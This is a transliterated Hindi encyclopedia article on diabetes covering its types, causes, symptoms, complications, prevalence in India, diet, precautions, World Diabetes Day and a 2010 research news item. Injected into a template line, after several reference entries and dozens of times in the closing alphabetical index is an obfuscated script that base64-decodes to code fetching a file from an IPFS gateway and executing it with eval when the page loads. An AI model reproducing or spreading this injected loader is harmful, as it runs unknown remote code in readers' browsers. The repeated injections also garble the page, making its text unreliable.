मधुमेह

भारत डिस्कवरी प्रस्तुति
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madhumeh
vivaran madhumeh ek khataranak rog hai jisaka prabhav bharat mean vyapak roop se phail raha hai. yah bimari hamare sharir mean agnyashay dvara iansulin ka strav kam ho jane ke karan hoti hai.
any nam dayabitiz, sugar ki bimari
prakar madhumeh ko tin prakar ke roop mean vargikrit kiya ja sakata hai- prakar 1- ise juvenail (kishor, bachapan) madhumeh ya iansulin nirbhar madhumeh kaha jata hai. prakar 2- ise der se shuroo hone vali ya gair insulin nirbhar madhumeh kaha jata hai.

prakar 3- 'jesteshanal madhumeh' - garbhavastha ke dauran shuroo ho jane vala madhumeh hota hai.

bharat mean madhumeh bharat ko madhumeh ki rajadhani kaha jata hai. bharat mean isaka sabase vikrit svaroop ubhara hai jo bahut bhayavah hai. jivanashaili mean aniyamitata madhumeh ka b da karan hai. ek dashak pahale bharat mean madhumeh hone ki ausat umr chalis sal ki thi jo ab ghat kar 25 se 30 sal ho chuki hai. 15 sal ke bad hi b di sankhya mean logoan ko madhumeh ka rog hone laga hai. kam umr mean is bimari ke hone ka sidha matalab hai ki chalis ki umr ate-ate hi bimari ke dushparinamoan ko jhelana p data hai.
karan iansulin namak h aaurmon ki kami ya isaki karyakshamata mean kami ane se 'madhumeh rog' ya 'dayabitiz' ho jati hai.
niyantran madhumeh hone ke karan paida hone vali jatilataoan ki rokatham ke lie niyamit ahar, vyayam, vyaktigat svasthy, saphaee aur sanbhavit iansulin ianjekshan athava khane vali davaiyoan (d aauktar ke sujhav ke anusar) ka sevan adi kuchh tarike haian.
sanbandhit lekh vishv madhumeh divas, mirgi, aautizm, deangoo
any janakari japan mean kanajava yoonivarsiti grejuet skool aauf medikal saians ke vaijnanikoan ne iansulin pratirodhi h aaurmon ki khoj karane ka dava kiya hai. unaka kahana hai ki isase madhumeh ki nee davaean taiyar karane mean bahut madad milegi.

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madhumeh (aangrezi:Diabetes) athava dayabitiz ek khataranak rog hai jisaka prabhav bharat mean vyapak roop se phail raha hai. yah bimari hamare sharir mean agnyashay dvara iansulin ka strav kam ho jane ke karan hoti hai. isamean rakt glookoz star badh jata hai, sath hi in marizoan mean rakt kolestr aaul, vasa ke avayav bhi asamany ho jate haian. dhamaniyoan mean badalav hote haian. madhumeh se pi dit marizoan ki aankhoan, gurdoan, snayu ya ligament, mastishk, hriday ke kshatigrast hone se inake ganbhir, jatil, ghatak rog ka khatara badh jata hai. madhumeh glookoz (rakt sharkara) ki chayapachay[1] ka ek vikar hai. iansulin namak h aaurmon ki kami ya isaki karyakshamata mean kami ane se 'madhumeh rog' ya 'dayabitiz' ho jati hai.

madhumeh ke karan

madhumeh jaisi bimari prakritik ya anuvaanshik karanoan se ho sakati hai. yah ek aisa vikar hai, jisamean rakt mean iansulin ka star badh jata hai. madhumeh mukhyat: do karanoan se hota hai, ya to sharir mean iansulin ka banana band ho jaye ya phir sharir mean iansulin ka prabhav kam ho jaye. donoan hi paristhitiyoan mean sharir mean glookoz ki matra badh jati hai.[2]

madhumeh iansulin h aaurmon udar ki ek b di granthi jise agnyashay kaha jata hai, dvara utpadit hota hai. halaanki vyakti ahar ke roop mean sevan jari rakhata hai, khane ke roop mean glookoz ki ek taja apoorti ju dati rahati hai, jo pahale se hi iansulin ki karyavaee ke abhav ki vajah aprayukt glookoz se santript hoti hai, sharir oorja ki kami se pi dit hone lagata hai, jabaki glookoz sharir ki rakt koshikaoan mean pravesh karane ki pratiksha mean rahata hai. parinamasvaroop, rakt mean glookoz ka star badhane lagata hai aur adhik hokar mootr ke roop mean bahar utsarjan hone lagata hai.[3]

prakar

karan aur prastuti ke adhar par par madhumeh ke prakar nirbhar haian. ise tin prakar ke roop mean vargikrit kiya ja sakata hai:

  • prakar 1 - ise juvenail (kishor, bachapan) madhumeh ya iansulin nirbhar madhumeh kaha jata hai.
  • prakar 2 - ise der se shuroo hone vali ya gair insulin nirbhar madhumeh kaha jata hai.
  • jesteshanal madhumeh - garbhavastha ke dauran madhumeh shuroo ho jata hai.

iansulin nirbhar madhumeh

ise juvenail (kishor, bachapan) madhumeh ya iansulin nirbhar madhumeh kaha jata hai. yah ab ek aautoeemyoon vikar ka parinam hona siddh ho gaya hai. jisamean pratiraksha koshikayean agnyashay par hamala kar isaki koshikaoan ko poori tarah se galati se nasht kar deti hai jisake ek parinam ke roop mean sharir mean iansulin ka utpadan nahian ho pata hai. madhumeh ke sath jine ke lie is prakar ke rogiyoan ko bahar se jivanabhar iansulin lene ki zaroorat hoti hai. 250px|thumb|left|ekva chek
Aqua cheque
prakar 1- madhumeh ke lakshan bachapan mean ya yuvakishor vayaskoan mean shuroo hote haian aur ve teji se vikasit hote haian. pratidin qarib 200 bachchoan mean prakar-1 ki madhumeh़ ke lakshanoan ka nidan chikitsakoan dvara kiya jata hai. jisake karanavash in bachchoan ko pratidin iansulin ke ianjekshan lagane p date haian taki unake rakt mean sharkara ki matra ko niyantrit kiya ja sake. madhumeh se grasit bachchoan ki sankhya mean 3% ki varshik vriddhi ho rahi hai aur bahut hi chhote bachchoan mean yah vriddhi 5% hai. 15 varsh se kam ayu vale lagabhag 70,000 bachche prativarsh is rog se grast ho rahe haian.

prakar 1 ke mahattvapoorn lakshan haian-

  • lagatar bhookh lagana
  • asatyavat vazan ghatana
  • pyas aur laghushanka mean vriddhi
  • thakan aur sahanashakti ki kami
  • drishti ka dhuandhalapan adi.

yadi shighr nidan aur iansulin ke sath ilaz, nahian kiya jata hai to prakar 1 madhumeh ka rogi jivanaghatak dayabitik- koma jise 'dayabitik kitoesidosis' bhi jana jata hai, mean ja sakata hai.

praudhavastha mean shuroo hone vali madhumeh

praudhavastha mean shuroo hone vali madhumeh vayaskoan mean dekha jane vala madhumeh ka sabase am roop hai, aur mote vyaktiyoan mean, aramadayak jivan shaili ke jine vale, vriddh vyakti aur madhumeh ke parivarik itihas ke vyaktiyoan mean hota hai. is mamale mean, agnyashay shuroo mean iansulin ki samany matra bana raha hota hai. sharir mean koshikaoan ko iansulin pratirodh vikasit hone par ve kram mean rakt sharkara ka upayog karane ke lie iansulin ka upayog nahian kar pate. is prakar samay ke sath, agnyashay iansulin ka utpadan kam kar deta hai. isake bhi prakar 1 ke saman hi lakshan hote haian, lekin ve aur adhik dhire-dhire vikasit hote haian aur shuroo mean kee rogiyoan dvara chook kiye ja sakate haian.

gesteshanal madhumeh

is mamale mean ek stri mean usaki garbhavastha ke pichhale kuchh mahinoan mean madhumeh vikasit hoti hai. zyadatar mamaloan mean, bachche ke janm ke sath madhumeh samapt ho jati hai, lekin kuchh mean yah prakar 2 madhumeh ke roop mean jari rah sakati hai. gesteshanal madhumeh garbhavastha ke dauran kuchh h aaurmon ki g dab di hone ke karan ghatit hoti hai. madhumeh ke is prakar ke rogi mean koee spasht lakshanoan ke sath, keval nidan asamany rakt sharkara riportoan ke karan shaant ho sakati hai.

lakshan

  • madhumeh ke rogi ko adhik pyas lagati hai.
  • koee ghav ho gaya ho to jaldi thik nahian hota.
  • pairoan ki piandaliyoan mean lagatar dard tatha aianthan rahana tatha sunn p d jana.
  • sharir ki tvacha sookhi rahana tatha pairoan ke talave mean jalan hona.
  • madhumeh ke rogi ko bhookh bahut lagati hai.
  • bar-bar laghushanka ki ichchha ke alava vazan mean giravat aankhoan mean roshani ki kami bhi madhumeh ke lakshan ho sakate haian.
  • parivar mean kisi any vyakti ko pahale se madhumeh hona is rog ki sanbhavana ko badha deta hai.[4]

prabhav

300px|thumb|motapa aur madhumeh ka ausat
Obesity and Diabetes
madhumeh rogiyoan mean qarib char fisadi rogiyoan ko prativarsh pair mean ghav ho jata hai. pairoan mean ek to rakt ka pravah kam hota hai, doosara isaki dhamaniyoan mean plek teji se jamata hai. log pair ki dekhabhal ke prati bhi laparavah hote haian, jisase pairoan mean ghav ho jata hai. yah ghav bharata nahian, balki badhata chala jata hai. bharat mean prativarsh ek karo d madhumeh rogiyoan ko pairoan mean takaliph hoti hai. isamean se qarib 40 hazar logoan ki zindagi bachane ke lie unake pairoan ko kat dena p data hai. yah kisi bhi tarah ki durghatana ke bad pairoan ke katane ki sabase b di vajah hai. isake alava sharir ke nichale hisse ke sanvedanashil aangoan mean bhi ghav ki shikayat ho jati hai.

vikritiyaan

madhumeh sharir ke har aang ko prabhavit karata hai, kee bar vikriti hone par hi rog ka nidan hota hai. is prakar yah rog varshoan se chupachap sharir mean panap raha hota hai. isase sharir ke kee aang prabhavit ho jate haian.

prabhavit aang v lakshan
  • netr mean motiyabind ka banana, kalapani, aankh ke parde ki kharabi v adhik kharabi hone par aandhapan.
  • hriday evan dhamaniyoan ka hridayaghat (hart ataik), hridayashool (eanjaina).
  • gurda mootr mean adhik protinh‍s jana, chehare ya pairoan par ya poore sharir par soojan aur anh‍t mean gurdoan ki karyahinata.
  • mastishh‍k v sh‍nayu tantr uchh‍ch manasik kriyaoan ki vikriti jaise- sh‍maranashakti, sanvedanaoan ki kami, chakh‍kar ana, napuansakata (nh‍yooropaithi), lakava.

bharat mean madhumeh

bharat ko madhumeh ki rajadhani kaha jata hai. khanapan ki kharabi aur sharirik shram ki kami ke karan pichhale dashak mean madhumeh hone ki dar duniya ke har desh mean badhi hai. bharat mean isaka sabase vikrit svaroop ubhara hai jo bahut bhayavah hai. jivanashaili mean aniyamitata madhumeh ka b da karan hai. ek dashak pahale bharat mean madhumeh hone ki ausat umr chalis sal ki thi jo ab ghat kar 25 se 30 sal ho chuki hai. 15 sal ke bad hi b di sankhya mean logoan ko madhumeh ka rog hone laga hai. kam umr mean is bimari ke hone ka sidha matalab hai ki chalis ki umr ate-ate hi bimari ke dushparinamoan ko jhelana p data hai. bharat mean 1995 mean madhumeh rogiyoan ki sankhya 1 karo d 90 lakh thi, jo 2008 mean badhakar char karo d ho gee hai. anuman hai ki 2030 mean madhumeh rogiyoan ki sankhya ath karo d ke asapas ho jaegi. bharat sarikhe deshoan mean qarib 340 se 350 lakh vyakti is vyadhi ka shikar haian, jo ek vishv rikard hai. 17% nagaravasi evan 2.5% gramavasi is bimari se pi dit haian. dilli madhumeh anusandhan kendr ke adhyaksh d aau. e. ke. jhiangan ke anusar sabhi tarah ke nichale aang vichchhedan ke mamale mean 45 se 75 fisadi madhumeh rogi hote haian. 2030 mean madhumeh rogiyoan ki anumanit sankhya qarib ath karo d hai, jisamean ek karo d logoan ko dayabitik pairoan ka khatara hoga. yah madhumeh rogiyoan mean sarvadhik gambhir, jatil v kharchili bimari hai. is rog ke parinamasvaroop sharir ke nichale hisse ke aangoan mean vichchhedan ki sankhya badhi hai. madhumeh (dayabitiz) ke karan hi gurde ki kharabi, hridayaghat, pairoan ka gaingrin aur aankhoan ka andhapan ab bharat ki mukhy svasthy samasya ban chuki hai. thumb|250px|madhumeh, khady piramid
Diabetes food pyramid

madhumeh ka niyantran

  • madhumeh hone ke karan paida hone vali jatilataoan ki rokatham ke lie niyamit ahar, vyayam, vyaktigat svasthy, saphaee aur sanbhavit iansulin ianjekshan athava khane vali davaiyoan (d aauktar ke sujhav ke anusar) ka sevan adi kuchh tarike haian.
  • vyayam se rakt sharkara star kam hota hai tatha glookoz ka upayog karane ke lie sharirik kshamata paida hoti hai.
  • madhumeh ke marizoan ko tvacha ki dekhabhal karana atyavashyak hai. bhari matra mean glookoz se unamean kitanu aur phaphooandi lagane ki sanbhavana badh jati hai. chooanki rakt sanchar bahut kam hota hai atah sharir mean hanikarak kitanuoan se bachane ki kshamata n ke barabar hoti hai. sharir ki surakshatmak koshikaean hanikarak kitanuoan ko khatm karane mean asamarth hoti haian. uchch glookoz ki matra se nirjalikaran (di-haidreshan) hota hai jisase tvacha sookhi ho jati hai tatha khujali hone lagati hai.
nidan

rakh‍t mean gh‍lookoj ki jaanch asani se ki ja sakati hai. samanh‍yat gh‍lookoj ka ghol pikar jaanch karavane ki avashh‍yakata nahian hoti. praranbhik jaanch mean mootr mean ailaboomin v rakh‍t vasa ka anuman bhi karavana chahie.

  • namak, chini, gu d, ghi, tel, doodh v doodh se nirmit vash‍tuyean, paraanthe, meve, aisakrim, mithaee, maans, anh‍da, ch aaukalet, sookha nariyal adi khady padarthoan ka prayog kam karana chahie.
  • hari sabjiy aauan, khira, kak di, tamatar, ph‍yaj, lahasun, niboo v samanh‍y mirch masaloan ka upayog kiya ja sakata hai. aloo, chaval v phaloan ka sevan kiya ja sakata hai. jh‍var, chana v gehooan ke ate ki roti (mish‍si roti) kafi upayogi hai sarasoan ka tel anh‍y teloan (soyabin, mooangaphali, sooryamukhi) ke sath prayog mean lena chahie bhojan ka samay jahaan tak sanbhav ho nishchit hona chahie aur lamh‍be samay tak ‍bhookha nahian rahana chahiye.

savadhaniyaan

  • niyamit rakh‍t gh‍lookoj, rakh‍tavasa v rakh‍t chap ki jaanch karayean.
  • nirdeshanusar bhojan v vh‍yayam se santulit vazan rakhean.
  • pairoan ka utana hi dhh‍yan rakhean jitana apane chehare ka rakhate haian kh‍yoanki pairoan par mamooli se dikhane vale ghav teji se ganbhir roop le lete haian or gaiangrin mean parivartit ho jate haian jisake parinam sh‍varoop pair katavana p d sakata hai.
  • dhoomrapan v madirapan ka th‍yag karean.
  • anavashh‍yak davaoan ka upayog n karean v achanak dava kabhi banh‍d n karean.

vishv madhumeh divas

[[chitr:World-Diabetes-Day-logo.jpg|thumb|250px|vishv madhumeh divas ka pratik chihn]]

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vishv madhumeh divas har sal 14 navanbar ko manaya jata hai. 14 navambar ko chatarra, bentiang ka janmadin hai jinhoanne kanada ke toranto shahar mean bent ke sath milakar sanh 1921 mean insulin ki khoj ki thi. itihas ki is mahanh khoj ko akshun rakhane ke lie intaraneshanal madhumeh phedereshan (aeedieph) dvara 14 navambar ko pichhale do dashakoan se vishv madhumeh divas har sal manaya jata hai. is din madhumeh ki khataranak dastak ke bare mean logoan ko samajhaya jata hai. phredarik bentiang ke yogadan ko yad rakhane ke lie iantaraneshanal dayabetik phedareshan dvara 14 navanbar ko duniya ke 140 deshoan mean madhumeh divas manaya jata hai. har sal ek naya 'thim' chayan kiya jata hai aur janata ko jagaruk banane ki pahal ki jati hai. sanh 2006 se yah sanyukt rashtr vishv madhumeh divas ho gaya hai.[5]

samachar

guruvar, 4 navanbar, 2010

iansulin pratirodhi h aaurmon ka pata chala

bharat ko madhumeh ki rajadhani kaha jata hai kyoanki bharat mean madhumeh ek mahamari ki tarah phail raha hai. khanapan ki kharabi aur sharirik shram ki kami ke karan pichhale dashak mean madhumeh hone ki dar duniya ke har desh mean badhi hai. bharat mean isaka sabase vikrit svaroop ubhara hai jo bahut bhayavah hai. jivanashaili mean aniyamitata madhumeh ka b da karan hai. jald hi prakar 2 madhumeh ka saphal ilaj kiya ja sakega. japan mean kanajava yoonivarsiti grejuet skool aauf medikal saians ke vaijnanikoan ne iansulin pratirodhi h aaurmon ki khoj karane ka dava kiya hai. unaka kahana hai ki isase madhumeh ki nee davaean taiyar karane mean bahut madad milegi. adhyayan mean vaijnanikoan ne paya ki prakar 2 madhumeh ke mariz mean yakrit se nikalane vale iansulin pratirodhi h aaurmon ka pravah bahut zyada ho jata hai.

khoj

gauratalab hai ki iansulin pratirodhi (aeear) ek bhautik avastha hai. isamean yakrit se nikalane vala iansulin h aaurmon kam sakriy ho pata hai. is vajah se rakt mean glookoz ka star badh jata hai, jo prakar 2 madhumeh ke lie zimmedar hai. naya shodh jarnal 'sel metabolijm' mean prakashit hua. dal ka netritv karane vale vaijnanik hirophoomi mishoo ne kaha, 'is adhyayan mean yakrit ki us karyapranali par roshani dala gaya hai jise pahale nahian khoja gaya tha. yah iansulin pratirodhi h aaurmon ke pravah ke bare mean janakari deta hai.' vaijnanikoan ne aranbh mean prakar 2 madhumeh vale logoan ke yakrit mean zyadatar pae jane vale pravah vale protin (hipaitokians) se yukt jin ki khoj ki thi. is khoj ke adhar par unhean laga ki prakar 2 madhumeh aur iansulin pratirodhi ke vikas mean yakrit ka bhi yogadan ho sakata hai.

parinam

unhoanne paya ki zyada iansulin pratirodhi prakar 2 madhumeh vale logoan mean 'selino protin pi (esipi)' ka star yakrit mean bahut hi zyada hota hai. is tarah ke protin ka star svasth ke muqabale madhumeh se pi dit logoan mean zyada hota hai. vaijnanikoan ne prayog ke taur par selino protin ko ek choohe ko diya. isase vah iansulin pratirodhi ho gaya. usake rakt mean glookoz ka star badh gaya. jab yakrit mean selino protin ko nishkriy kiya gaya, to usake khoon mean glookoz ka star kam ho gaya. ullekhaniy hai ki yah protin yakrit mean banata hai. halaanki logoan ko khoon mean glookoz ke star ko banae rakhane mean isaki pramukh bhoomika ke bare mean janakari maloom nahian thi. mishoo ne kaha, 'hamare shodh ne yah sanbhavana badhaee hai ki yakrit se nikalane vale hipaitokians ke pravah mean badha pahuanchane par kee tarah ki bimariyaan hone ki ashanka hoti hai.'

samachar ko nimn srot par padhean


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. oorja utpadan ke lie glookoz ki chhinnata
  2. vishh‍v dayabitiz़ divas (hindi) aaunali maee helth. abhigaman tithi: 14 navanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. madhumeh (hindi) helth ejukeshan laibreri. abhigaman tithi: 10 navambar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. madhumeh (hindi) iandik ji. abhigaman tithi: 10 navambar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  5. vishv madhumeh divas (hindi) (ech.ti.em) di. ech. ar. si. iandiya. abhigaman tithi: 14 navanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan


sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d   